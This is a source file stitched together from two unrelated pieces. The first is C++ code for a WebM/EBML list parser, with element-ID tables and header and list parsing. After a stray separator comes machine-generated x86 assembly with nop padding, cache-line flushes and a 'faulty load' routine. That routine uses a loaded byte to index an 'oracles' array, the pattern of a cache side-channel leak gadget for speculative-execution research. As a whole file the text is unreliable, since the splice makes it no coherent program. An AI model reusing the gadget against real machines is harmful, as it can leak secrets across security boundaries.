{UINT, kWebMIdTimecodeScale},
{FLOAT, kWebMIdDuration},
{BINARY, kWebMIdDateUTC},
{STRING, kWebMIdTitle},
{STRING, kWebMIdMuxingApp},
{STRING, kWebMIdWritingApp},
};
static const ElementIdInfo kChapterTranslateIds[] = {
{UINT, kWebMIdChapterTranslateEditionUID},
{UINT, kWebMIdChapterTranslateCodec},
{BINARY, kWebMIdChapterTranslateID},
};
static const ElementIdInfo kClusterIds[] = {
{BINARY, kWebMIdSimpleBlock},
{UINT, kWebMIdTimecode},
{LIST, kWebMIdSilentTracks},
{UINT, kWebMIdPosition},
{UINT, kWebMIdPrevSize},
{LIST, kWebMIdBlockGroup},
};
static const ElementIdInfo kSilentTracksIds[] = {
{UINT, kWebMIdSilentTrackNumber},
};
static const ElementIdInfo kBlockGroupIds[] = {
{BINARY, kWebMIdBlock},
{LIST, kWebMIdBlockAdditions},
{UINT, kWebMIdBlockDuration},
{UINT, kWebMIdReferencePriority},
{BINARY, kWebMIdReferenceBlock},
{BINARY, kWebMIdCodecState},
{BINARY, kWebMIdDiscardPadding},
{LIST, kWebMIdSlices},
};
static const ElementIdInfo kBlockAdditionsIds[] = {
{LIST, kWebMIdBlockMore},
};
static const ElementIdInfo kBlockMoreIds[] = {
{UINT, kWebMIdBlockAddID},
{BINARY, kWebMIdBlockAdditional},
};
static const ElementIdInfo kSlicesIds[] = {
{LIST, kWebMIdTimeSlice},
};
static const ElementIdInfo kTimeSliceIds[] = {
{UINT, kWebMIdLaceNumber},
};
static const ElementIdInfo kTracksIds[] = {
{LIST, kWebMIdTrackEntry},
};
static const ElementIdInfo kTrackEntryIds[] = {
{UINT, kWebMIdTrackNumber},
{BINARY, kWebMIdTrackUID},
{UINT, kWebMIdTrackType},
{UINT, kWebMIdFlagEnabled},
{UINT, kWebMIdFlagDefault},
{UINT, kWebMIdFlagForced},
{UINT, kWebMIdFlagLacing},
{UINT, kWebMIdMinCache},
{UINT, kWebMIdMaxCache},
{UINT, kWebMIdDefaultDuration},
{FLOAT, kWebMIdTrackTimecodeScale},
{UINT, kWebMIdMaxBlockAdditionId},
{STRING, kWebMIdName},
{STRING, kWebMIdLanguage},
{STRING, kWebMIdCodecID},
{BINARY, kWebMIdCodecPrivate},
{STRING, kWebMIdCodecName},
{UINT, kWebMIdAttachmentLink},
{UINT, kWebMIdCodecDecodeAll},
{UINT, kWebMIdTrackOverlay},
{UINT, kWebMIdCodecDelay},
{UINT, kWebMIdSeekPreRoll},
{LIST, kWebMIdTrackTranslate},
{LIST, kWebMIdVideo},
{LIST, kWebMIdAudio},
{LIST, kWebMIdTrackOperation},
{LIST, kWebMIdContentEncodings},
};
static const ElementIdInfo kTrackTranslateIds[] = {
{UINT, kWebMIdTrackTranslateEditionUID},
{UINT, kWebMIdTrackTranslateCodec},
{BINARY, kWebMIdTrackTranslateTrackID},
};
static const ElementIdInfo kVideoIds[] = {
{UINT, kWebMIdFlagInterlaced},
{UINT, kWebMIdStereoMode},
{UINT, kWebMIdAlphaMode},
{UINT, kWebMIdPixelWidth},
{UINT, kWebMIdPixelHeight},
{UINT, kWebMIdPixelCropBottom},
{UINT, kWebMIdPixelCropTop},
{UINT, kWebMIdPixelCropLeft},
{UINT, kWebMIdPixelCropRight},
{UINT, kWebMIdDisplayWidth},
{UINT, kWebMIdDisplayHeight},
{UINT, kWebMIdDisplayUnit},
{UINT, kWebMIdAspectRatioType},
{BINARY, kWebMIdColorSpace},
{FLOAT, kWebMIdFrameRate},
{LIST, kWebMIdColor},
{LIST, kWebMIdProjection},
};
static const ElementIdInfo kColorIds[] = {
{UINT, kWebMIdColorMatrixCoefficients},
{UINT, kWebMIdColorBitsPerChannel},
{UINT, kWebMIdColorChromaSubsamplingHorz},
{UINT, kWebMIdColorChromaSubsamplingVert},
{UINT, kWebMIdColorCbSamplingHorz},
{UINT, kWebMIdColorCbSamplingVert},
{UINT, kWebMIdColorChromaSitingHorz},
{UINT, kWebMIdColorChromaSitingVert},
{UINT, kWebMIdColorRange},
{UINT, kWebMIdColorTransferCharacteristics},
{UINT, kWebMIdColorPrimaries},
{UINT, kWebMIdColorMaxCLL},
{UINT, kWebMIdColorMaxFALL},
{LIST, kWebMIdColorMasteringMetadata},
};
static const ElementIdInfo kProjectionIds[] = {
{UINT, kWebMIdProjectionType},
};
static const ElementIdInfo kAudioIds[] = {
{FLOAT, kWebMIdSamplingFrequency},
{FLOAT, kWebMIdOutputSamplingFrequency},
{UINT, kWebMIdChannels},
{UINT, kWebMIdBitDepth},
};
static const ElementIdInfo kTrackOperationIds[] = {
{LIST, kWebMIdTrackCombinePlanes},
{LIST, kWebMIdJoinBlocks},
};
static const ElementIdInfo kTrackCombinePlanesIds[] = {
{LIST, kWebMIdTrackPlane},
};
static const ElementIdInfo kTrackPlaneIds[] = {
{UINT, kWebMIdTrackPlaneUID},
{UINT, kWebMIdTrackPlaneType},
};
static const ElementIdInfo kJoinBlocksIds[] = {
{UINT, kWebMIdTrackJoinUID},
};
static const ElementIdInfo kContentEncodingsIds[] = {
{LIST, kWebMIdContentEncoding},
};
static const ElementIdInfo kContentEncodingIds[] = {
{UINT, kWebMIdContentEncodingOrder},
{UINT, kWebMIdContentEncodingScope},
{UINT, kWebMIdContentEncodingType},
{LIST, kWebMIdContentCompression},
{LIST, kWebMIdContentEncryption},
};
static const ElementIdInfo kContentCompressionIds[] = {
{UINT, kWebMIdContentCompAlgo},
{BINARY, kWebMIdContentCompSettings},
};
static const ElementIdInfo kContentEncryptionIds[] = {
{LIST, kWebMIdContentEncAESSettings},
{UINT, kWebMIdContentEncAlgo},
{BINARY, kWebMIdContentEncKeyID},
{BINARY, kWebMIdContentSignature},
{BINARY, kWebMIdContentSigKeyID},
{UINT, kWebMIdContentSigAlgo},
{UINT, kWebMIdContentSigHashAlgo},
};
static const ElementIdInfo kContentEncAESSettingsIds[] = {
{UINT, kWebMIdAESSettingsCipherMode},
};
static const ElementIdInfo kCuesIds[] = {
{LIST, kWebMIdCuePoint},
};
static const ElementIdInfo kCuePointIds[] = {
{UINT, kWebMIdCueTime},
{LIST, kWebMIdCueTrackPositions},
};
static const ElementIdInfo kCueTrackPositionsIds[] = {
{UINT, kWebMIdCueTrack},
{UINT, kWebMIdCueClusterPosition},
{UINT, kWebMIdCueBlockNumber},
{UINT, kWebMIdCueCodecState},
{LIST, kWebMIdCueReference},
};
static const ElementIdInfo kCueReferenceIds[] = {
{UINT, kWebMIdCueRefTime},
};
static const ElementIdInfo kAttachmentsIds[] = {
{LIST, kWebMIdAttachedFile},
};
static const ElementIdInfo kAttachedFileIds[] = {
{STRING, kWebMIdFileDescription},
{STRING, kWebMIdFileName},
{STRING, kWebMIdFileMimeType},
{BINARY, kWebMIdFileData},
{UINT, kWebMIdFileUID},
};
static const ElementIdInfo kChaptersIds[] = {
{LIST, kWebMIdEditionEntry},
};
static const ElementIdInfo kEditionEntryIds[] = {
{UINT, kWebMIdEditionUID},
{UINT, kWebMIdEditionFlagHidden},
{UINT, kWebMIdEditionFlagDefault},
{UINT, kWebMIdEditionFlagOrdered},
{LIST, kWebMIdChapterAtom},
};
static const ElementIdInfo kChapterAtomIds[] = {
{UINT, kWebMIdChapterUID},
{UINT, kWebMIdChapterTimeStart},
{UINT, kWebMIdChapterTimeEnd},
{UINT, kWebMIdChapterFlagHidden},
{UINT, kWebMIdChapterFlagEnabled},
{BINARY, kWebMIdChapterSegmentUID},
{UINT, kWebMIdChapterSegmentEditionUID},
{UINT, kWebMIdChapterPhysicalEquiv},
{LIST, kWebMIdChapterTrack},
{LIST, kWebMIdChapterDisplay},
{LIST, kWebMIdChapProcess},
};
static const ElementIdInfo kChapterTrackIds[] = {
{UINT, kWebMIdChapterTrackNumber},
};
static const ElementIdInfo kChapterDisplayIds[] = {
{STRING, kWebMIdChapString},
{STRING, kWebMIdChapLanguage},
{STRING, kWebMIdChapCountry},
};
static const ElementIdInfo kChapProcessIds[] = {
{UINT, kWebMIdChapProcessCodecID},
{BINARY, kWebMIdChapProcessPrivate},
{LIST, kWebMIdChapProcessCommand},
};
static const ElementIdInfo kChapProcessCommandIds[] = {
{UINT, kWebMIdChapProcessTime},
{BINARY, kWebMIdChapProcessData},
};
static const ElementIdInfo kTagsIds[] = {
{LIST, kWebMIdTag},
};
static const ElementIdInfo kTagIds[] = {
{LIST, kWebMIdTargets},
{LIST, kWebMIdSimpleTag},
};
static const ElementIdInfo kTargetsIds[] = {
{UINT, kWebMIdTargetTypeValue},
{STRING, kWebMIdTargetType},
{UINT, kWebMIdTagTrackUID},
{UINT, kWebMIdTagEditionUID},
{UINT, kWebMIdTagChapterUID},
{UINT, kWebMIdTagAttachmentUID},
};
static const ElementIdInfo kSimpleTagIds[] = {
{STRING, kWebMIdTagName},
{STRING, kWebMIdTagLanguage},
{UINT, kWebMIdTagDefault},
{STRING, kWebMIdTagString},
{BINARY, kWebMIdTagBinary},
};
#define LIST_ELEMENT_INFO(id, level, id_info) \
{ (id), (level), (id_info), arraysize(id_info) }
static const ListElementInfo kListElementInfo[] = {
LIST_ELEMENT_INFO(kWebMIdCluster, 1, kClusterIds),
LIST_ELEMENT_INFO(kWebMIdEBMLHeader, 0, kEBMLHeaderIds),
LIST_ELEMENT_INFO(kWebMIdSegment, 0, kSegmentIds),
LIST_ELEMENT_INFO(kWebMIdSeekHead, 1, kSeekHeadIds),
LIST_ELEMENT_INFO(kWebMIdSeek, 2, kSeekIds),
LIST_ELEMENT_INFO(kWebMIdInfo, 1, kInfoIds),
LIST_ELEMENT_INFO(kWebMIdChapterTranslate, 2, kChapterTranslateIds),
LIST_ELEMENT_INFO(kWebMIdSilentTracks, 2, kSilentTracksIds),
LIST_ELEMENT_INFO(kWebMIdBlockGroup, 2, kBlockGroupIds),
LIST_ELEMENT_INFO(kWebMIdBlockAdditions, 3, kBlockAdditionsIds),
LIST_ELEMENT_INFO(kWebMIdBlockMore, 4, kBlockMoreIds),
LIST_ELEMENT_INFO(kWebMIdSlices, 3, kSlicesIds),
LIST_ELEMENT_INFO(kWebMIdTimeSlice, 4, kTimeSliceIds),
LIST_ELEMENT_INFO(kWebMIdTracks, 1, kTracksIds),
LIST_ELEMENT_INFO(kWebMIdTrackEntry, 2, kTrackEntryIds),
LIST_ELEMENT_INFO(kWebMIdTrackTranslate, 3, kTrackTranslateIds),
LIST_ELEMENT_INFO(kWebMIdVideo, 3, kVideoIds),
LIST_ELEMENT_INFO(kWebMIdColor, 4, kColorIds),
LIST_ELEMENT_INFO(kWebMIdProjection, 4, kProjectionIds),
LIST_ELEMENT_INFO(kWebMIdAudio, 3, kAudioIds),
LIST_ELEMENT_INFO(kWebMIdTrackOperation, 3, kTrackOperationIds),
LIST_ELEMENT_INFO(kWebMIdTrackCombinePlanes, 4, kTrackCombinePlanesIds),
LIST_ELEMENT_INFO(kWebMIdTrackPlane, 5, kTrackPlaneIds),
LIST_ELEMENT_INFO(kWebMIdJoinBlocks, 4, kJoinBlocksIds),
LIST_ELEMENT_INFO(kWebMIdContentEncodings, 3, kContentEncodingsIds),
LIST_ELEMENT_INFO(kWebMIdContentEncoding, 4, kContentEncodingIds),
LIST_ELEMENT_INFO(kWebMIdContentCompression, 5, kContentCompressionIds),
LIST_ELEMENT_INFO(kWebMIdContentEncryption, 5, kContentEncryptionIds),
LIST_ELEMENT_INFO(kWebMIdContentEncAESSettings, 6, kContentEncAESSettingsIds),
LIST_ELEMENT_INFO(kWebMIdCues, 1, kCuesIds),
LIST_ELEMENT_INFO(kWebMIdCuePoint, 2, kCuePointIds),
LIST_ELEMENT_INFO(kWebMIdCueTrackPositions, 3, kCueTrackPositionsIds),
LIST_ELEMENT_INFO(kWebMIdCueReference, 4, kCueReferenceIds),
LIST_ELEMENT_INFO(kWebMIdAttachments, 1, kAttachmentsIds),
LIST_ELEMENT_INFO(kWebMIdAttachedFile, 2, kAttachedFileIds),
LIST_ELEMENT_INFO(kWebMIdChapters, 1, kChaptersIds),
LIST_ELEMENT_INFO(kWebMIdEditionEntry, 2, kEditionEntryIds),
LIST_ELEMENT_INFO(kWebMIdChapterAtom, 3, kChapterAtomIds),
LIST_ELEMENT_INFO(kWebMIdChapterTrack, 4, kChapterTrackIds),
LIST_ELEMENT_INFO(kWebMIdChapterDisplay, 4, kChapterDisplayIds),
LIST_ELEMENT_INFO(kWebMIdChapProcess, 4, kChapProcessIds),
LIST_ELEMENT_INFO(kWebMIdChapProcessCommand, 5, kChapProcessCommandIds),
LIST_ELEMENT_INFO(kWebMIdTags, 1, kTagsIds),
LIST_ELEMENT_INFO(kWebMIdTag, 2, kTagIds),
LIST_ELEMENT_INFO(kWebMIdTargets, 3, kTargetsIds),
LIST_ELEMENT_INFO(kWebMIdSimpleTag, 3, kSimpleTagIds),
};
// Parses an element header id or size field. These fields are variable length
// encoded. The first byte indicates how many bytes the field occupies.
// |buf| - The buffer to parse.
// |size| - The number of bytes in |buf|
// |max_bytes| - The maximum number of bytes the field can be. ID fields
// set this to 4 & element size fields set this to 8. If the
// first byte indicates a larger field size than this it is a
// parser error.
// |mask_first_byte| - For element size fields the field length encoding bits
// need to be masked off. This parameter is true for
// element size fields and is false for ID field values.
//
// Returns: The number of bytes parsed on success. -1 on error.
static int ParseWebMElementHeaderField(const uint8_t* buf,
int size,
int max_bytes,
bool mask_first_byte,
int64_t* num) {
DCHECK(buf);
DCHECK(num);
if (size < 0)
return -1;
if (size == 0)
return 0;
int mask = 0x80;
uint8_t ch = buf[0];
int extra_bytes = -1;
bool all_ones = false;
for (int i = 0; i < max_bytes; ++i) {
if ((ch & mask) != 0) {
mask = ~mask & 0xff;
*num = mask_first_byte ? ch & mask : ch;
all_ones = (ch & mask) == mask;
extra_bytes = i;
break;
}
mask = 0x80 | mask >> 1;
}
if (extra_bytes == -1)
return -1;
// Return 0 if we need more data.
if ((1 + extra_bytes) > size)
return 0;
int bytes_used = 1;
for (int i = 0; i < extra_bytes; ++i) {
ch = buf[bytes_used++];
all_ones &= (ch == 0xff);
*num = (*num << 8) | ch;
}
if (all_ones)
*num = std::numeric_limits<int64_t>::max();
return bytes_used;
}
int WebMParseElementHeader(const uint8_t* buf,
int size,
int* id,
int64_t* element_size) {
DCHECK(buf);
DCHECK_GE(size, 0);
DCHECK(id);
DCHECK(element_size);
if (size == 0)
return 0;
int64_t tmp = 0;
int num_id_bytes = ParseWebMElementHeaderField(buf, size, 4, false, &tmp);
if (num_id_bytes <= 0)
return num_id_bytes;
if (tmp == std::numeric_limits<int64_t>::max())
tmp = kWebMReservedId;
*id = static_cast<int>(tmp);
int num_size_bytes = ParseWebMElementHeaderField(buf + num_id_bytes,
size - num_id_bytes,
8, true, &tmp);
if (num_size_bytes <= 0)
return num_size_bytes;
if (tmp == std::numeric_limits<int64_t>::max())
tmp = kWebMUnknownSize;
*element_size = tmp;
DVLOG(3) << "WebMParseElementHeader() : id " << std::hex << *id << std::dec
<< " size " << *element_size;
return num_id_bytes + num_size_bytes;
}
// Finds ElementType for a specific ID.
static ElementType FindIdType(int id,
const ElementIdInfo* id_info,
int id_info_count) {
// Check for global element IDs that can be anywhere.
if (id == kWebMIdVoid || id == kWebMIdCRC32)
return SKIP;
for (int i = 0; i < id_info_count; ++i) {
if (id == id_info[i].id_)
return id_info[i].type_;
}
return UNKNOWN;
}
// Finds ListElementInfo for a specific ID.
static const ListElementInfo* FindListInfo(int id) {
for (size_t i = 0; i < arraysize(kListElementInfo); ++i) {
if (id == kListElementInfo[i].id_)
return &kListElementInfo[i];
}
return NULL;
}
static int FindListLevel(int id) {
const ListElementInfo* list_info = FindListInfo(id);
if (list_info)
return list_info->level_;
return -1;
}
static int ParseUInt(const uint8_t* buf,
int size,
int id,
WebMParserClient* client) {
if ((size <= 0) || (size > 8))
return -1;
// Read in the big-endian integer.
uint64_t value = 0;
for (int i = 0; i < size; ++i)
value = (value << 8) | buf[i];
// We use int64_t in place of uint64_t everywhere for convenience. See this
// bug
// for more details: http://crbug.com/366750#c3
if (!base::IsValueInRangeForNumericType<int64_t>(value))
return -1;
if (!client->OnUInt(id, value))
return -1;
return size;
}
static int ParseFloat(const uint8_t* buf,
int size,
int id,
WebMParserClient* client) {
if ((size != 4) && (size != 8))
return -1;
double value = -1;
// Read the bytes from big-endian form into a native endian integer.
int64_t tmp = 0;
for (int i = 0; i < size; ++i)
tmp = (tmp << 8) | buf[i];
// Use a union to convert the integer bit pattern into a floating point
// number.
if (size == 4) {
union {
int32_t src;
float dst;
} tmp2;
tmp2.src = static_cast<int32_t>(tmp);
value = tmp2.dst;
} else if (size == 8) {
union {
int64_t src;
double dst;
} tmp2;
tmp2.src = tmp;
value = tmp2.dst;
} else {
return -1;
}
if (!client->OnFloat(id, value))
return -1;
return size;
}
static int ParseBinary(const uint8_t* buf,
int size,
int id,
WebMParserClient* client) {
return client->OnBinary(id, buf, size) ? size : -1;
}
static int ParseString(const uint8_t* buf,
int size,
int id,
WebMParserClient* client) {
const uint8_t* end = static_cast<const uint8_t*>(memchr(buf, '\0', size));
int length = (end != NULL) ? static_cast<int>(end - buf) : size;
std::string str(reinterpret_cast<const char*>(buf), length);
return client->OnString(id, str) ? size : -1;
}
static int ParseNonListElement(ElementType type,
int id,
int64_t element_size,
const uint8_t* buf,
int size,
WebMParserClient* client) {
DCHECK_GE(size, element_size);
int result = -1;
switch(type) {
case LIST:
NOTIMPLEMENTED();
result = -1;
break;
case UINT:
result = ParseUInt(buf, element_size, id, client);
break;
case FLOAT:
result = ParseFloat(buf, element_size, id, client);
break;
case BINARY:
result = ParseBinary(buf, element_size, id, client);
break;
case STRING:
result = ParseString(buf, element_size, id, client);
break;
case SKIP:
result = element_size;
break;
default:
DVLOG(1) << "Unhandled ID type " << type;
return -1;
};
DCHECK_LE(result, size);
return result;
}
WebMParserClient::WebMParserClient() {}
WebMParserClient::~WebMParserClient() {}
WebMParserClient* WebMParserClient::OnListStart(int id) {
DVLOG(1) << "Unexpected list element start with ID " << std::hex << id;
return NULL;
}
bool WebMParserClient::OnListEnd(int id) {
DVLOG(1) << "Unexpected list element end with ID " << std::hex << id;
return false;
}
bool WebMParserClient::OnUInt(int id, int64_t val) {
DVLOG(1) << "Unexpected unsigned integer element with ID " << std::hex << id;
return false;
}
bool WebMParserClient::OnFloat(int id, double val) {
DVLOG(1) << "Unexpected float element with ID " << std::hex << id;
return false;
}
bool WebMParserClient::OnBinary(int id, const uint8_t* data, int size) {
DVLOG(1) << "Unexpected binary element with ID " << std::hex << id;
return false;
}
bool WebMParserClient::OnString(int id, const std::string& str) {
DVLOG(1) << "Unexpected string element with ID " << std::hex << id;
return false;
}
WebMListParser::WebMListParser(int id, WebMParserClient* client)
: state_(NEED_LIST_HEADER),
root_id_(id),
root_level_(FindListLevel(id)),
root_client_(client) {
DCHECK_GE(root_level_, 0);
DCHECK(client);
}
WebMListParser::~WebMListParser() {}
void WebMListParser::Reset() {
ChangeState(NEED_LIST_HEADER);
list_state_stack_.clear();
}
int WebMListParser::Parse(const uint8_t* buf, int size) {
DCHECK(buf);
if (size < 0 || state_ == PARSE_ERROR || state_ == DONE_PARSING_LIST)
return -1;
if (size == 0)
return 0;
const uint8_t* cur = buf;
int cur_size = size;
int bytes_parsed = 0;
while (cur_size > 0 && state_ != PARSE_ERROR && state_ != DONE_PARSING_LIST) {
int element_id = 0;
int64_t element_size = 0;
int result = WebMParseElementHeader(cur, cur_size, &element_id,
&element_size);
if (result < 0)
return result;
if (result == 0)
return bytes_parsed;
switch(state_) {
case NEED_LIST_HEADER: {
if (element_id != root_id_) {
ChangeState(PARSE_ERROR);
return -1;
}
// Only allow Segment & Cluster to have an unknown size.
if (element_size == kWebMUnknownSize &&
(element_id != kWebMIdSegment) &&
(element_id != kWebMIdCluster)) {
ChangeState(PARSE_ERROR);
return -1;
}
ChangeState(INSIDE_LIST);
if (!OnListStart(root_id_, element_size))
return -1;
break;
}
case INSIDE_LIST: {
int header_size = result;
const uint8_t* element_data = cur + header_size;
int element_data_size = cur_size - header_size;
if (element_size < element_data_size)
element_data_size = element_size;
result = ParseListElement(header_size, element_id, element_size,
element_data, element_data_size);
DCHECK_LE(result, header_size + element_data_size);
if (result < 0) {
ChangeState(PARSE_ERROR);
return -1;
}
if (result == 0)
return bytes_parsed;
break;
}
case DONE_PARSING_LIST:
case PARSE_ERROR:
// Shouldn't be able to get here.
NOTIMPLEMENTED();
break;
}
cur += result;
cur_size -= result;
bytes_parsed += result;
}
return (state_ == PARSE_ERROR) ? -1 : bytes_parsed;
}
bool WebMListParser::IsParsingComplete() const {
return state_ == DONE_PARSING_LIST;
}
void WebMListParser::ChangeState(State new_state) {
state_ = new_state;
}
int WebMListParser::ParseListElement(int header_size,
int id,
int64_t element_size,
const uint8_t* data,
int size) {
DCHECK_GT(list_state_stack_.size(), 0u);
ListState& list_state = list_state_stack_.back();
DCHECK(list_state.element_info_);
const ListElementInfo* element_info = list_state.element_info_;
ElementType id_type =
FindIdType(id, element_info->id_info_, element_info->id_info_count_);
// Unexpected ID.
if (id_type == UNKNOWN) {
if (list_state.size_ != kWebMUnknownSize ||
!IsSiblingOrAncestor(list_state.id_, id)) {
DVLOG(1) << "No ElementType info for ID 0x" << std::hex << id;
return -1;
}
// We've reached the end of a list of unknown size. Update the size now that
// we know it and dispatch the end of list calls.
list_state.size_ = list_state.bytes_parsed_;
if (!OnListEnd())
return -1;
// Check to see if all open lists have ended.
if (list_state_stack_.size() == 0)
return 0;
list_state = list_state_stack_.back();
}
// Make sure the whole element can fit inside the current list.
int64_t total_element_size = header_size + element_size;
if (list_state.size_ != kWebMUnknownSize &&
list_state.size_ < list_state.bytes_parsed_ + total_element_size) {
return -1;
}
if (id_type == LIST) {
list_state.bytes_parsed_ += header_size;
if (!OnListStart(id, element_size))
return -1;
return header_size;
}
// Make sure we have the entire element before trying to parse a non-list
// element.
if (size < element_size)
return 0;
int bytes_parsed = ParseNonListElement(id_type, id, element_size,
data, size, list_state.client_);
DCHECK_LE(bytes_parsed, size);
// Return if an error occurred or we need more data.
// Note: bytes_parsed is 0 for a successful parse of a size 0 element. We
// need to check the element_size to disambiguate the "need more data" case
// from a successful parse.
if (bytes_parsed < 0 || (bytes_parsed == 0 && element_size != 0))
return bytes_parsed;
int result = header_size + bytes_parsed;
list_state.bytes_parsed_ += result;
// See if we have reached the end of the current list.
if (list_state.bytes_parsed_ == list_state.size_) {
if (!OnListEnd())
return -1;
}
return result;
}
bool WebMListParser::OnListStart(int id, int64_t size) {
const ListElementInfo* element_info = FindListInfo(id);
if (!element_info)
return false;
int current_level =
root_level_ + static_cast<int>(list_state_stack_.size()) - 1;
if (current_level + 1 != element_info->level_)
return false;
WebMParserClient* current_list_client = NULL;
if (!list_state_stack_.empty()) {
// Make sure the new list doesn't go past the end of the current list.
ListState current_list_state = list_state_stack_.back();
if (current_list_state.size_ != kWebMUnknownSize &&
current_list_state.size_ < current_list_state.bytes_parsed_ + size)
return false;
current_list_client = current_list_state.client_;
} else {
current_list_client = root_client_;
}
WebMParserClient* new_list_client = current_list_client->OnListStart(id);
if (!new_list_client)
return false;
ListState new_list_state = { id, size, 0, element_info, new_list_client };
list_state_stack_.push_back(new_list_state);
if (size == 0)
return OnListEnd();
return true;
}
bool WebMListParser::OnListEnd() {
int lists_ended = 0;
for (; !list_state_stack_.empty(); ++lists_ended) {
const ListState& list_state = list_state_stack_.back();
int64_t bytes_parsed = list_state.bytes_parsed_;
int id = list_state.id_;
if (bytes_parsed != list_state.size_)
break;
list_state_stack_.pop_back();
WebMParserClient* client = NULL;
if (!list_state_stack_.empty()) {
// Update the bytes_parsed_ for the parent element.
list_state_stack_.back().bytes_parsed_ += bytes_parsed;
client = list_state_stack_.back().client_;
} else {
client = root_client_;
}
if (!client->OnListEnd(id))
return false;
}
DCHECK_GE(lists_ended, 1);
if (list_state_stack_.empty())
ChangeState(DONE_PARSING_LIST);
return true;
}
bool WebMListParser::IsSiblingOrAncestor(int id_a, int id_b) const {
DCHECK((id_a == kWebMIdSegment) || (id_a == kWebMIdCluster));
if (id_a == kWebMIdCluster) {
// kWebMIdCluster siblings.
for (size_t i = 0; i < arraysize(kSegmentIds); i++) {
if (kSegmentIds[i].id_ == id_b)
return true;
}
}
// kWebMIdSegment siblings.
return ((id_b == kWebMIdSegment) || (id_b == kWebMIdEBMLHeader));
}
} // namespace media
} // namespace shaka
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x17843, %rsi
lea addresses_WC_ht+0x1e4c3, %rdi
nop
nop
add %r11, %r11
mov $105, %rcx
rep movsb
nop
and $49884, %r13
lea addresses_normal_ht+0x17ae2, %rsi
lea addresses_UC_ht+0x1b243, %rdi
nop
add %r12, %r12
mov $3, %rcx
rep movsw
sub $241, %rsi
lea addresses_UC_ht+0xaec3, %rsi
lea addresses_WC_ht+0xd98c, %rdi
clflush (%rdi)
nop
nop
dec %rdx
mov $46, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp $59336, %rcx
lea addresses_UC_ht+0x6887, %rsi
nop
nop
and $62090, %r13
movw $0x6162, (%rsi)
and %rdi, %rdi
lea addresses_A_ht+0xbcc3, %rcx
nop
nop
nop
nop
and %rdi, %rdi
movl $0x61626364, (%rcx)
nop
nop
cmp $49219, %rdi
lea addresses_WT_ht+0x9a07, %rsi
lea addresses_WT_ht+0x33c3, %rdi
nop
cmp %r14, %r14
mov $92, %rcx
rep movsw
nop
nop
nop
nop
nop
xor $27091, %r14
lea addresses_UC_ht+0xb743, %rsi
lea addresses_UC_ht+0x3d17, %rdi
nop
nop
inc %r12
mov $7, %rcx
rep movsl
nop
nop
nop
nop
and $17971, %r13
lea addresses_A_ht+0x5a43, %rdi
nop
nop
sub $65016, %rdx
mov (%rdi), %r14w
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_A_ht+0x74c3, %rdi
nop
nop
nop
nop
cmp $57827, %rdx
mov $0x6162636465666768, %r11
movq %r11, %xmm5
vmovups %ymm5, (%rdi)
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_A_ht+0x1c183, %rdi
nop
nop
nop
xor %r13, %r13
mov (%rdi), %ecx
nop
nop
and %r12, %r12
lea addresses_D_ht+0xe8c3, %rcx
clflush (%rcx)
nop
nop
nop
sub %rsi, %rsi
mov $0x6162636465666768, %rdx
movq %rdx, (%rcx)
inc %rsi
lea addresses_normal_ht+0x3b3e, %r14
nop
nop
nop
nop
dec %rdx
movb (%r14), %r13b
cmp %rdi, %rdi
lea addresses_D_ht+0x13a3, %r14
nop
nop
nop
nop
nop
inc %r13
mov (%r14), %r12
nop
nop
nop
cmp %rdx, %rdx
lea addresses_WT_ht+0xece3, %rcx
nop
nop
nop
nop
and $29404, %rsi
mov (%rcx), %r12w
nop
nop
xor $28606, %rdi
lea addresses_D_ht+0xc363, %r11
nop
nop
nop
nop
nop
and $50212, %r13
mov $0x6162636465666768, %rdx
movq %rdx, (%r11)
nop
nop
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rax
push %rdi
push %rsi
// Faulty Load
lea addresses_WT+0xb4c3, %rsi
nop
nop
nop
nop
nop
xor %rax, %rax
movb (%rsi), %r8b
lea oracles, %rax
and $0xff, %r8
shlq $12, %r8
mov (%rax,%r8,1), %r8
pop %rsi
pop %rdi
pop %rax
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
